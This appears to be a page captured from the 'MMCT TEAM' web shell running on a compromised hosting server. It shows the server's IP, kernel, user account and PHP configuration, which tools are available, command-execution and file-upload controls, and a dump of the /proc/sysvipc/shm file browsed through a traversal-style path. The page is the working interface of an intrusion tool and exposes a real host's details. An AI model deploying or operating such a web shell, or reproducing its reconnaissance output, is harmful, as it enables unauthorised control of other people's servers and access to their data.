MMCT TEAM
Server IP : 2a02:4780:11:1361:0:bf7:7935:10  /  Your IP : 3.145.167.178
Web Server : LiteSpeed
System : Linux in-mum-web1261.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u200767797 ( 200767797)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : ON
Directory (0555) :  /home/../proc/driver/../sysvipc/../sysvipc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/../proc/driver/../sysvipc/../sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
      5555          0   644                  1024  3985 334726      0     0     0     0     0 1741955694 1741955694 1740799887                  4096                     0
         0    7307271  1600                524288 1096689 1366447      1 117050295 1201180016 117050295 1201180016 1741956449 1741956461 1741934157                  8192                     0
         0    7176207  1600                524288 3731551 3731551      2 168524164 1201164286 168524164 1201164286 1741956516 1741956461 1741917328                  8192                     0
         0    7438381  1600                524288 1104003 1104057      1 271891894 1201208629 271891894 1201208629 1741956297 1741956309 1741956297                  8192                     0
         0    7438382  1600                524288 1329122 1329322      1 975853644 1201212229 975853644 1201212229 1741956435 1741956453 1741956429                  8192                     0
         0    7438383  1600                524288 1406975 1407162      1 271891894 1201208629 271891894 1201208629 1741956474 1741956486 1741956474                  8192                     0

MMCT - 2023